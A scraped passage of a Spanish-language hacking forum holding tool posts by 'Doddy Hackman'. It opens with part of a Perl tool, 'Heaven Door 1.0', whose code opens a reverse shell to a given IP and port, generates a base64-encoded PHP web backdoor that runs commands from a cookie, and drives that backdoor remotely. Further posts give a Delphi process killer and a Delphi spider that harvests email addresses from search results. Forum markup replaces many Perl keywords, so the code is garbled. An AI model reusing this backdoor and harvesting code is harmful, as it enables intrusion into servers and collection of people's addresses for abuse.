    103.          You are not allowed to view links. Register or Login $jesus "--==System Info==--\n\n".$output."\n";
    104.       }
    105.    }
    106.    
    107. }
    108.  
    109. #
    110.  
    111. # Reverse Shell
    112.  
    113. sub reverse_shell {
    114.    my($ip,$port) = @_;
    115.    printear_titulo("</li><li type="square"> Reverse Shell : ");[/li][/list]
    116.    You are not allowed to view links. Register or Login "Loaded\n\n";
    117.    printear("</li><li type="square"> IP to connect : ");[/li][/list]
    118.    You are not allowed to view links. Register or Login $ip."\n";
    119.    printear("</li><li type="square"> Port : ");[/li][/list]
    120.    You are not allowed to view links. Register or Login $port."\n\n";
    121.    printear_logo("</li><li type="square"> Connecting ...\n\n");[/li][/list]
    122.    You are not allowed to view links. Register or Login(REVERSE, PF_INET, SOCK_STREAM, You are not allowed to view links. Register or Login('tcp'));
    123.    You are not allowed to view links. Register or Login(REVERSE, sockaddr_in($port,inet_aton($ip)));
    124.    printear_titulo("</li><li type="square"> Reverse Shell successful\n\n");[/li][/list]
    125.    You are not allowed to view links. Register or Login (STDIN,">&REVERSE");
    126.    You are not allowed to view links. Register or Login (STDOUT,">&REVERSE");
    127.    You are not allowed to view links. Register or Login (STDERR,">&REVERSE");
    128.    tipo();
    129.    printear_logo("</li><li type="square"> Disconnecting ...\n\n");[/li][/list]
    130. }
    131.  
    132. sub tipo {
    133.    if ($^O =~/Win32/ig) {
    134.       infowin();
    135.    You are not allowed to view links. Register or Login("cmd.exe");
    136.    } else {
    137.       infolinux();
    138.       You are not allowed to view links. Register or Login("export TERM=xterm;exec sh -i");
    139.    }
    140. }
    141.  
    142. sub infowin {
    143.    use if $^O eq "MSWin32", "Win32";
    144.    You are not allowed to view links. Register or Login "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
    145.    You are not allowed to view links. Register or Login "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
    146.    You are not allowed to view links. Register or Login "</li><li type="square"> Username : ".Win32::LoginName()."\n\n";[/li][/list]
    147. }
    148.  
    149. sub infolinux {
    150.    You are not allowed to view links. Register or Login "</li><li type="square"> System information\n\n";[/li][/list]
    151.    You are not allowed to view links. Register or Login("uname -a");
    152.    You are not allowed to view links. Register or Login "\n";
    153. }
    154.  
    155. #
    156.  
    157. # More Functions
    158.  
    159. sub cargar_consola_backdoor {
    160.    printear("</li><li type="square"> Checking Backdoor ...\n\n");[/li][/list]
    161.    my $check1 = cargar_comando($url,"ver");
    162.    my $check2 = cargar_comando($url,"uname -a");
    163.    if(check_backdoor($check1) or check_backdoor($check2)) {
    164.       printear_logo("</li><li type="square"> Backdoor Loaded\n");[/li][/list]
    165.       my($url) = @_;
    166.       while(1) {
    167.          printear("\n</li><li type="square"> Command : ");[/li][/list]
    168.          You are not allowed to view links. Register or Login( my $comando = <stdin> );
    169.          if ( $comando =~ /exit/ ) {
    170.             copyright();
    171.          }
    172.          my $code = cargar_comando($url,$comando);
    173.          if(check_backdoor($code)) {
    174.             my $output = extract_command_backdoor($code);
    175.             if($output ne "") {
    176.                printear_titulo("\n".$output."\n");
    177.             } else {
    178.                printear_titulo("\n"."[-] Invalid command"."\n");  
    179.             }
    180.          } else {
    181.             printear_titulo("\n"."[-] Invalid command"."\n");
    182.          }
    183.       }
    184.    } else {
    185.       printear_logo("</li><li type="square"> Backdoor not exists\n");[/li][/list]
    186.    }
    187. }
    188.  
    189. sub check_backdoor {
    190.    my $text = You are not allowed to view links. Register or Login;
    191.    if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/You are not allowed to view links. Register or Login) {
    192.       You are not allowed to view links. Register or Login 1;
    193.    } else {
    194.       You are not allowed to view links. Register or Login 0;
    195.    }
    196. }
    197.  
    198. sub extract_command_backdoor {
    199.    my $text = You are not allowed to view links. Register or Login;
    200.    if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/You are not allowed to view links. Register or Login) {
    201.       You are not allowed to view links. Register or Login $1;
    202.    } else {
    203.       You are not allowed to view links. Register or Login "";
    204.    }
    205. }
    206.  
    207. sub cargar_generador_backdoor {
    208.    my $filename = You are not allowed to view links. Register or Login;
    209.    if(-f $filename) {
    210.       You are not allowed to view links. Register or Login($filename);
    211.    }
    212.    printear_titulo("</li><li type="square"> Generating backdoor ...\n\n");[/li][/list]
    213.    generar_backdoor($filename);
    214.    if(-f $filename) {
    215.       printear("</li><li type="square"> Backdoor $filename generated !\n");[/li][/list]
    216.    } else {
    217.       printear("[-] Error generating backdoor\n");
    218.    }
    219. }
    220.  
    221. sub generar_backdoor {
    222.    my $filename = You are not allowed to view links. Register or Login;
    223.    my $code = "PD9waHAgaWYgKGlzc2V0KCRfQ09PS0lFWyJoZWF2ZW5fZG9vcl9oZXJlIl0pICYmICFlbXB0eSgkX0NPT0tJRVsiaGVhdmVuX2Rvb3JfaGVyZSJdKSkgeyAJJGNvZGUgPSAiIjsgCSRvdXRwdXQgPSAiIjsgCWV4ZWMoJF9DT09LSUVbImhlYXZlbl9kb29yX2hlcmUiXSwkY29kZSk7IAlmb3JlYWNoICgkY29kZSBhcyAkbGluZSkgeyAJCSRvdXRwdXQgPSAkb3V0cHV0IC4gJGxpbmUuIlxuIjsgCX0gCWVjaG8gYmFzZTY0X2VuY29kZSgiW2NvZGVfaGVhdmVuXSIuJG91dHB1dC4iWy9jb2RlX2hlYXZlbl0iKTsgfSA";
    224.    savefile($filename,decode_base64($code));
    225. }
    226.  
    227. sub cargar_comando {
    228.    my($url,$command) = @_;
    229.    my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
    230.    $nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
    231.    $nave->timeout(10);
    232.    my $contenido = $nave->get($url,Cookie => "heaven_door_here=".$command)->content;
    233.    You are not allowed to view links. Register or Login decode_base64($contenido);
    234. }
    235.  
    236. sub savefile {
    237.    my ($filename,$text) = @_;
    238.    You are not allowed to view links. Register or Login( SAVE, ">>" . $filename );
    239.    You are not allowed to view links. Register or Login SAVE $text . "\n";
    240.    You are not allowed to view links. Register or Login SAVE;
    241. }
    242.  
    243. sub printear {
    244.     cprint( "\x036" . $_[0] . "\x030" );
    245. }
    246.  
    247. sub printear_logo {
    248.     cprint( "\x037" . $_[0] . "\x030" );
    249. }
    250.  
    251. sub printear_titulo {
    252.     cprint( "\x0310" . $_[0] . "\x030" );
    253. }
    254.  
    255. sub sintax {
    256.  
    257.     printear("</li><li type="square"> Sintax : ");[/li][/list]
    258.     You are not allowed to view links. Register or Login "perl $0 <option> <value>\n";
    259.     printear("\n</li><li type="square"> Options : \n\n");[/li][/list]
    260.     You are not allowed to view links. Register or Login "-backdoor -port <port> : Enable backdoor in port\n";
    261.     You are not allowed to view links. Register or Login "-reverse -ip <ip> -port <port> : Get all tags GPS of a image\n";
    262.     You are not allowed to view links. Register or Login "-generate_backdoor -filename <filename> : Generate backdoor in filename\n";
    263.     You are not allowed to view links. Register or Login "-connect_backdoor -url <url> : Connect to backdoor in URL\n";
    264.     printear("\n</li><li type="square"> Example : ");[/li][/list]
    265.     You are not allowed to view links. Register or Login "perl heaven_door.pl -reverse -ip 127.0.0.1 -port 666\n";
    266.     copyright();
    267. }
    268.  
    269. sub head {
    270.     printear_logo("\n-- == Heaven Door 1.0 == --\n\n\n");
    271. }
    272.  
    273. sub copyright {
    274.     printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    275.     You are not allowed to view links. Register or Login(1);
    276. }
    277.  
    278. #The End ?
    279.  

    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

6
C# - VB.NET / [C#] DH Player 1.2 (Regalo de navidad)
« en: Diciembre 25, 2016, 07:47:52 pm »
Como regalo de navidad , esta vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :

  • Reproduce musica y videos a pantalla completa[/li]
  • Soporta Drag and Drop para reproducir canciones y videos [/li]
  • Pueden subir volumen y poner la posicion que quieran[/li]
  • Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente[/li]
  • Pueden poner mute[/li][/list]

    * Formatos de musica soportados : mp3,m4a,wma
    * Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg

  • Estaciones de radios de tipo : Rock,Electronica,Rap,Country,Musica clasica y mas generos ...[/li]
  • Tambien se puede reproducir cualquier radio online desde su link correspondiente[/li][/list]

    * Las opciones de radio funcionan gracias a mplayer portable , no borren la carpeta "mplayer".

    Una imagen :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso es todo.

7
Delphi / [Delphi] DH Process Killer 0.5
« en: Diciembre 10, 2016, 09:32:50 pm »
Un programa en Delphi para listar los procesos de Windows y darles muerte si quieren.

Se puede matar procesos por nombre,pid y por hash md5.

Una imagen :



El codigo :

Código: Delphi
  1. // Program : DH Process Killer
  2. // Version : 0.5
  3. // (C) Doddy Hackman 2016
  4.  
  5. unit ProcessKiller;
  6.  
  7. interface
  8.  
  9. uses
  10.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  11.   System.Classes, Vcl.Graphics,
  12.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  13.   Vcl.ComCtrls, tlhelp32, PsAPI, Vcl.ImgList, ShellApi, Vcl.Menus,
  14.   Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  15.   Vcl.Styles.Utils.SysStyleHook,
  16.   Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  17.   Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips, DH_Tools,
  18.   Vcl.Imaging.pngimage;
  19.  
  20. type
  21.   TFormHome = class(TForm)
  22.     imgLogo: TImage;
  23.     gbProcessFound: TGroupBox;
  24.     lvProcess: TListView;
  25.     status: TStatusBar;
  26.     pmOpciones: TPopupMenu;
  27.     RefreshList: TMenuItem;
  28.     K1: TMenuItem;
  29.     KillSelected: TMenuItem;
  30.     KillByPID: TMenuItem;
  31.     KillByName: TMenuItem;
  32.     KillByMD5: TMenuItem;
  33.     ilIconos: TImageList;
  34.     ilIconosProcesos: TImageList;
  35.     procedure FormCreate(Sender: TObject);
  36.     procedure RefreshListClick(Sender: TObject);
  37.     procedure KillSelectedClick(Sender: TObject);
  38.     procedure KillByPIDClick(Sender: TObject);
  39.     procedure KillByNameClick(Sender: TObject);
  40.     procedure KillByMD5Click(Sender: TObject);
  41.   private
  42.     { Private declarations }
  43.   public
  44.     { Public declarations }
  45.     procedure listar_procesos;
  46.     function kill_process(option: string; arg: string): bool;
  47.   end;
  48.  
  49. type
  50.   TParametros = record
  51.     Handle: Thandle;
  52.     pid_global: DWORD;
  53.   end;
  54.  
  55.   parametros_globales = ^TParametros;
  56.  
  57. var
  58.   FormHome: TFormHome;
  59.  
  60. implementation
  61.  
  62. {$R *.dfm}
  63. // Functions
  64.  
  65. function message_box(title, message_text, type_message: string): string;
  66. begin
  67.   if not(title = '') and not(message_text = '') and not(type_message = '') then
  68.   begin
  69.     try
  70.       begin
  71.         if (type_message = 'Information') then
  72.         begin
  73.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  74.             MB_ICONINFORMATION);
  75.         end
  76.         else if (type_message = 'Warning') then
  77.         begin
  78.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  79.             MB_ICONWARNING);
  80.         end
  81.         else if (type_message = 'Question') then
  82.         begin
  83.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  84.             MB_ICONQUESTION);
  85.         end
  86.         else if (type_message = 'Error') then
  87.         begin
  88.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  89.             MB_ICONERROR);
  90.         end
  91.         else
  92.         begin
  93.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  94.             MB_ICONINFORMATION);
  95.         end;
  96.         Result := '<ul class="bbc_list"><li type="square"> MessageBox : OK';[/li][/list]
  97.       end;
  98.     except
  99.       begin
  100.         Result := '[-] Error';
  101.       end;
  102.     end;
  103.   end
  104.   else
  105.   begin
  106.     Result := '[-] Error';
  107.   end;
  108. end;
  109.  
  110. // Get path of process
  111.  
  112. function get_path_by_pid(process_pid: integer): string;
  113. type
  114.   TQueryFullProcessImageName = function(hProcess: Thandle; dwFlags: DWORD;
  115.     lpExeName: PChar; nSize: PDWORD): bool; stdcall;
  116. var
  117.   handle_process: Thandle;
  118.   path_found: array [0 .. MAX_PATH - 1] of Char;
  119.   query: TQueryFullProcessImageName;
  120.   limit: Cardinal;
  121.   code: string;
  122. begin
  123.  
  124.   code := '';
  125.  
  126.   try
  127.     begin
  128.       handle_process := OpenProcess(PROCESS_QUERY_INFORMATION or
  129.         PROCESS_VM_READ, False, process_pid);
  130.       if GetModuleFileNameEX(handle_process, 0, path_found, MAX_PATH) <> 0 then
  131.       begin
  132.         code := path_found;
  133.       end
  134.       else if Win32MajorVersion >= 6 then
  135.       begin
  136.         limit := MAX_PATH;
  137.         ZeroMemory(@path_found, MAX_PATH);
  138.         @query := GetProcAddress(GetModuleHandle('kernel32'),
  139.           'QueryFullProcessImageNameW');
  140.         if query(handle_process, 0, path_found, @limit) then
  141.         begin
  142.           code := path_found;
  143.         end;
  144.       end
  145.       else
  146.       begin
  147.         code := '';
  148.       end;
  149.       CloseHandle(handle_process);
  150.     end;
  151.   except
  152.     begin
  153.       //
  154.     end;
  155.   end;
  156.  
  157.   if (code = '') then
  158.   begin
  159.     code := '--';
  160.   end;
  161.  
  162.   Result := code;
  163.  
  164. end;
  165.  
  166. // Functions to get window title
  167.  
  168. function EnumWindowsProc(handle_finder: Thandle; parametro: lParam)
  169.   : bool; stdcall;
  170. var
  171.   pid_found: integer;
  172. begin
  173.   Result := True;
  174.   GetWindowThreadProcessId(handle_finder, @pid_found);
  175.   if parametros_globales(parametro).pid_global = pid_found then
  176.   begin
  177.     parametros_globales(parametro).Handle := handle_finder;
  178.     Result := False;
  179.   end;
  180. end;
  181.  
  182. function get_window_by_pid(pid: integer): string;
  183. var
  184.   parametros: TParametros;
  185.   title: string;
  186.   open_handle: Thandle;
  187.  
  188. begin
  189.  
  190.   parametros.pid_global := pid;
  191.   EnumWindows(@EnumWindowsProc, lParam(@parametros));
  192.  
  193.   repeat
  194.  
  195.     open_handle := parametros.Handle;
  196.     parametros.Handle := GetParent(open_handle);
  197.  
  198.     title := '';
  199.     SetLength(title, 255);
  200.     SetLength(title, GetWindowText(open_handle, PChar(title), Length(title)));
  201.  
  202.     Result := title;
  203.  
  204.   until parametros.Handle = 0;
  205.  
  206. end;
  207.  
  208. procedure TFormHome.KillByMD5Click(Sender: TObject);
  209. var
  210.   argumento: string;
  211. begin
  212.   argumento := InputBox('DH Process Killer 0.5', 'MD5 : ', '');
  213.   if not(argumento = '') then
  214.   begin
  215.     if (kill_process('md5', argumento)) then
  216.     begin
  217.       message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
  218.     end
  219.     else
  220.     begin
  221.       message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
  222.     end;
  223.   end
  224.   else
  225.   begin
  226.     message_box('DH Process Killer 0.5', 'Write MD5', 'Warning');
  227.   end;
  228.   listar_procesos();
  229. end;
  230.  
  231. procedure TFormHome.KillByNameClick(Sender: TObject);
  232. var
  233.   argumento: string;
  234. begin
  235.   argumento := InputBox('DH Process Killer 0.5', 'Name : ', '');
  236.   if not(argumento = '') then
  237.   begin
  238.     if (kill_process('name', argumento)) then
  239.     begin
  240.       message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
  241.     end
  242.     else
  243.     begin
  244.       message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
  245.     end;
  246.   end
  247.   else
  248.   begin
  249.     message_box('DH Process Killer 0.5', 'Write Name', 'Warning');
  250.   end;
  251.   listar_procesos();
  252. end;
  253.  
  254. procedure TFormHome.KillByPIDClick(Sender: TObject);
  255. var
  256.   argumento: string;
  257. begin
  258.   argumento := InputBox('DH Process Killer', 'PID : ', '');
  259.   if not(argumento = '') then
  260.   begin
  261.     if (kill_process('pid', argumento)) then
  262.     begin
  263.       message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
  264.     end
  265.     else
  266.     begin
  267.       message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
  268.     end;
  269.   end
  270.   else
  271.   begin
  272.     message_box('DH Process Killer 0.5', 'Write PID', 'Warning');
  273.   end;
  274.   listar_procesos();
  275. end;
  276.  
  277. procedure TFormHome.KillSelectedClick(Sender: TObject);
  278. var
  279.   process_id: string;
  280. begin
  281.   if not(lvProcess.Itemindex = -1) then
  282.   begin
  283.     process_id := lvProcess.Selected.Caption;
  284.     if (kill_process('pid', process_id)) then
  285.     begin
  286.       message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
  287.     end
  288.     else
  289.     begin
  290.       message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
  291.     end;
  292.   end
  293.   else
  294.   begin
  295.     message_box('DH Process Killer 0.5', 'Select Process', 'Warning');
  296.   end;
  297.   listar_procesos();
  298. end;
  299.  
  300. function TFormHome.kill_process(option: string; arg: string): bool;
  301. var
  302.   tools: T_DH_Tools;
  303.   loop_run: bool;
  304.   Handle: Thandle;
  305.   process_load: TProcessEntry32;
  306.   resultado: bool;
  307.   check_ok: bool;
  308.   path: string;
  309.   md5_to_check: string;
  310. begin
  311.  
  312.   resultado := False;
  313.  
  314.   tools := T_DH_Tools.Create();
  315.  
  316.   try
  317.     begin
  318.       Handle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  319.       process_load.dwSize := SizeOf(process_load);
  320.       loop_run := Process32First(Handle, process_load);
  321.  
  322.       while integer(loop_run) <> 0 do
  323.       begin
  324.  
  325.         if (option = 'pid') then
  326.         begin
  327.           if (process_load.th32ProcessID = StrToInt(arg)) then
  328.           begin
  329.             TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
  330.               process_load.th32ProcessID), 0);
  331.             resultado := True;
  332.             check_ok := True;
  333.             break;
  334.           end;
  335.         end;
  336.  
  337.         if (option = 'name') then
  338.         begin
  339.           if (ExtractFileName(process_load.szExeFile) = arg) then
  340.           begin
  341.             TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
  342.               process_load.th32ProcessID), 0);
  343.             resultado := True;
  344.             check_ok := True;
  345.             break;
  346.           end;
  347.         end;
  348.  
  349.         if (option = 'md5') then
  350.         begin
  351.           path := get_path_by_pid(process_load.th32ProcessID);
  352.           if (FileExists(path)) then
  353.           begin
  354.             md5_to_check := tools.get_file_md5(path);
  355.             if (md5_to_check = arg) then
  356.             begin
  357.               TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
  358.                 process_load.th32ProcessID), 0);
  359.               resultado := True;
  360.               check_ok := True;
  361.               break;
  362.             end;
  363.           end
  364.         end;
  365.  
  366.         loop_run := Process32Next(Handle, process_load);
  367.       end;
  368.       if not(check_ok = True) then
  369.       begin
  370.         resultado := False;
  371.       end;
  372.       CloseHandle(Handle);
  373.     end;
  374.   except
  375.     begin
  376.       resultado := False;
  377.     end;
  378.   end;
  379.  
  380.   tools.Free;
  381.  
  382.   Result := resultado;
  383.  
  384. end;
  385.  
  386. //
  387.  
  388. procedure TFormHome.listar_procesos;
  389. var
  390.   handle_process: Thandle;
  391.   check_process: LongBool;
  392.   process_load: TProcessEntry32;
  393.   lista: TListItem;
  394.   path: string;
  395.   getdata: SHFILEINFO;
  396.   icono: TIcon;
  397.   cantidad: integer;
  398. var
  399.   Handle: Thandle;
  400.   title: string;
  401.   pid: integer;
  402. begin
  403.  
  404.   cantidad := 0;
  405.  
  406.   handle_process := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  407.   process_load.dwSize := SizeOf(process_load);
  408.   check_process := Process32First(handle_process, process_load);
  409.  
  410.   lvProcess.Items.Clear;
  411.  
  412.   while check_process do
  413.   begin
  414.  
  415.     Inc(cantidad);
  416.  
  417.     lista := lvProcess.Items.Add;
  418.     lista.Caption := IntToStr(process_load.th32ProcessID);
  419.     lista.SubItems.Add(process_load.szExeFile);
  420.  
  421.     path := get_path_by_pid(process_load.th32ProcessID);
  422.  
  423.     if (FileExists(path)) then
  424.     begin
  425.       SHGetFileInfo(PChar(path), 0, getdata, SizeOf(getdata),
  426.         SHGFI_ICON or SHGFI_SMALLICON);
  427.     end
  428.     else
  429.     begin
  430.       SHGetFileInfo(PChar('C:\Windows\System32\ftp.exe'), 0, getdata,
  431.         SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
  432.     end;
  433.  
  434.     icono := TIcon.Create;
  435.  
  436.     icono.Handle := getdata.hIcon;
  437.     lista.ImageIndex := ilIconosProcesos.AddIcon(icono);
  438.  
  439.     lista.SubItems.Add(path);
  440.  
  441.     title := get_window_by_pid(process_load.th32ProcessID);
  442.  
  443.     if (title = '') then
  444.     begin
  445.       title := '--';
  446.     end;
  447.  
  448.     lista.SubItems.Add(title);
  449.  
  450.     DestroyIcon(getdata.hIcon);
  451.     icono.Free;
  452.  
  453.     check_process := Process32Next(handle_process, process_load);
  454.  
  455.   end;
  456.  
  457.   gbProcessFound.Caption := 'Process Found : ' + IntToStr(cantidad);
  458.  
  459. end;
  460.  
  461. procedure TFormHome.RefreshListClick(Sender: TObject);
  462. begin
  463.   listar_procesos();
  464. end;
  465.  
  466. procedure TFormHome.FormCreate(Sender: TObject);
  467. begin
  468.   listar_procesos();
  469. end;
  470.  
  471. end.
  472.  
  473. // The End ?
  474.  

Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. Register or Login.

Eso seria todo.

8
Delphi / [Delphi] DH Spider 1.0
« en: Noviembre 25, 2016, 11:43:41 am »
Un programa en Delphi para buscar emails en Google,Bing o en un wordlist con paginas.

Se pueden guardar los resultados en logs , usa threads para ser mas rapido y borra repetidos en los resultados.

Una imagen :



El codigo :

Código: You are not allowed to view links. Register or Login
// DH Spider 1.0
// (C) Doddy Hackman 2016

unit spider;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Menus, Vcl.ExtCtrls, Vcl.ComCtrls,
  Vcl.StdCtrls, Vcl.Styles.Utils.Menus, Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Math, Vcl.Imaging.pngimage,
  Vcl.ImgList, DH_Searcher, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, PerlRegex, OtlThreadPool, OtlComm, OtlTask,
  OtlTaskControl;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    pcMenu: TPageControl;
    tsLinks: TTabSheet;
    tsSpider: TTabSheet;
    status: TStatusBar;
    gbLinks: TGroupBox;
    lvLinks: TListView;
    gbEmailsFound: TGroupBox;
    lvEmailsFound: TListView;
    odOpenFile: TOpenDialog;
    sdSaveLogs: TSaveDialog;
    ilIconos: TImageList;
    ilIconos2: TImageList;
    tsSearcher: TTabSheet;
    tsAbout: TTabSheet;
    gbSearcher: TGroupBox;
    lblDork: TLabel;
    txtDork: TEdit;
    lblPages: TLabel;
    txtPages: TEdit;
    udPages: TUpDown;
    lblOption: TLabel;
    cmbOption: TComboBox;
    btnStartSearch: TButton;
    btnStopSearch: TButton;
    btnStartScan: TButton;
    btnStopScan: TButton;
    gbAbout: TGroupBox;
    about: TImage;
    panelAbout: TPanel;
    labelAbout: TLabel;
    pmLinksOptions: TPopupMenu;
    ItemLoadFromFile: TMenuItem;
    ItemSaveLinks: TMenuItem;
    ItemClearListLinks: TMenuItem;
    pmEmailsOptions: TPopupMenu;
    ItemSaveEmails: TMenuItem;
    ItemClearListEmails: TMenuItem;
    lblThreads: TLabel;
    txtThreads: TEdit;
    udThreads: TUpDown;
    procedure FormCreate(Sender: TObject);
    procedure btnStartSearchClick(Sender: TObject);
    procedure btnStopSearchClick(Sender: TObject);
    procedure btnStartScanClick(Sender: TObject);
    procedure btnStopScanClick(Sender: TObject);
    procedure ItemLoadFromFileClick(Sender: TObject);
    procedure ItemSaveEmailsClick(Sender: TObject);
    procedure ItemClearListLinksClick(Sender: TObject);
    procedure ItemClearListEmailsClick(Sender: TObject);
    function toma(page: string): string;
    procedure ItemSaveLinksClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    stop: boolean;
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '
  • MessageBox : OK';[/li][/list]
          end;
        except
          begin
            Result := '[-] Error';
          end;
        end;
      end
      else
      begin
        Result := '[-] Error';
      end;
    end;

    function savefile(archivo, texto: string): bool;
    var
      open_file: TextFile;
    begin
      try
        begin
          AssignFile(open_file, archivo);
          FileMode := fmOpenWrite;

          if FileExists(archivo) then
          begin
            Append(open_file);
          end
          else
          begin
            Rewrite(open_file);
          end;

          Write(open_file, texto);
          CloseFile(open_file);
          Result := True;
        end;
      except
        Result := False;
      end;
    end;

    //

    procedure TFormHome.FormCreate(Sender: TObject);
    begin
      UseLatestCommonDialogs := False;
      odOpenFile.InitialDir := GetCurrentDir;
      odOpenFile.Filter := 'TXT files (*.txt)|*.TXT';
      sdSaveLogs.InitialDir := GetCurrentDir;
      sdSaveLogs.Filter := 'TXT files (*.txt)|*.TXT';
    end;

    procedure TFormHome.btnStartSearchClick(Sender: TObject);
    var
      searcher: T_DH_Searcher;
      links: other_array_searcher;
      i: integer;
      dork: string;
      count: integer;
      counter: integer;
    begin
      counter := 0;
      dork := txtDork.Text;
      count := StrToInt(txtPages.Text);
      if not(dork = '') and (count > 0) then
      begin
        GlobalOmniThreadPool.MaxExecuting := StrToInt(txtThreads.Text) *
          System.CPUCount;
        searcher := T_DH_Searcher.Create();

        CreateTask(
          procedure(const task: IOmniTask)
          var
            dork_to_load: string;
            pages_to_load: integer;
          begin

            dork_to_load := task.Param['dork'].AsString;
            pages_to_load := task.Param['pages'].AsInteger;

            status.Panels[0].Text := '
  • Searching ...';[/li][/list]
            FormHome.Update;

            if (cmbOption.Text = 'Google') then
            begin
              links := searcher.search_google(dork, count);
            end;
            if (cmbOption.Text = 'Bing') then
            begin
              links := searcher.search_bing(dork, count);
            end;

          end).SetParameter('dork', dork).SetParameter('pages', count)
          .Unobserved.Schedule;

        while GlobalOmniThreadPool.CountExecuting +
          GlobalOmniThreadPool.CountQueued > 0 do
        begin
          Application.ProcessMessages;
        end;

        For i := Low(links) to High(links) do
        begin
          with lvLinks.Items.Add do
          begin
            Caption := links[i];
            Inc(counter);
          end;
        end;
        searcher.Free();
        gbLinks.Caption := 'Links Found : ' + IntToStr(counter);
        if (counter > 0) then
        begin
          status.Panels[0].Text := '
  • Links Found : ' + IntToStr(counter);[/li][/list]
          FormHome.Update;
          message_box('DH Spider 1.0', 'Links Found : ' + IntToStr(counter),
            'Information');
        end
        else
        begin
          status.Panels[0].Text := '[-] Links not found';
          FormHome.Update;
          message_box('DH Spider 1.0', 'Links not found', 'Warning');
        end;
      end
      else
      begin
        message_box('DH Spider 1.0', 'Complete the form', 'Warning');
      end;
    end;

    procedure TFormHome.btnStopSearchClick(Sender: TObject);
    begin
      GlobalOmniThreadPool.CancelAll;
      status.Panels[0].Text := '
  • Stopped';[/li][/list]
      FormHome.Update;
      message_box('DH Spider 1.0', 'Scan Stopped', 'Information');
    end;

    function TFormHome.toma(page: string): string;
    var
      nave: TIdHTTP;
      code: string;
    begin
      code := '';
      try
        begin
          nave := TIdHTTP.Create(nil);
          nave.Request.UserAgent :=
            'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
          code := nave.Get(page);
          nave.Free();
        end;
      except
        begin
          //
        end;
      end;
      Result := code;
    end;

    procedure TFormHome.btnStartScanClick(Sender: TObject);
    var
      page, code, email: string;
      emails: TStringList;
      links: TStringList;
      link: string;
      i, j: integer;
      regex: TPerlRegEx;
      new_item: TListItem;
      counter: integer;
    begin
      GlobalOmniThreadPool.MaxExecuting := StrToInt(txtThreads.Text) *
        System.CPUCount;
      counter := 0;
      i := 0;
      j := 0;
      emails := TStringList.Create();
      links := TStringList.Create();
      if (lvLinks.Items.count > 0) then
      begin
        for i := 0 to lvLinks.Items.count - 1 do
        begin
          Application.ProcessMessages;
          page := lvLinks.Items[i].Caption;

          CreateTask(
            procedure(const task: IOmniTask)
            var
              page_to_load: string;
            begin

              page_to_load := task.Param['page'].AsString;

              status.Panels[0].Text := '
  • Checking page : ' +[/li][/list]
                page_to_load + ' ...';
              FormHome.Update;

              code := toma(page_to_load);

              regex := TPerlRegEx.Create();

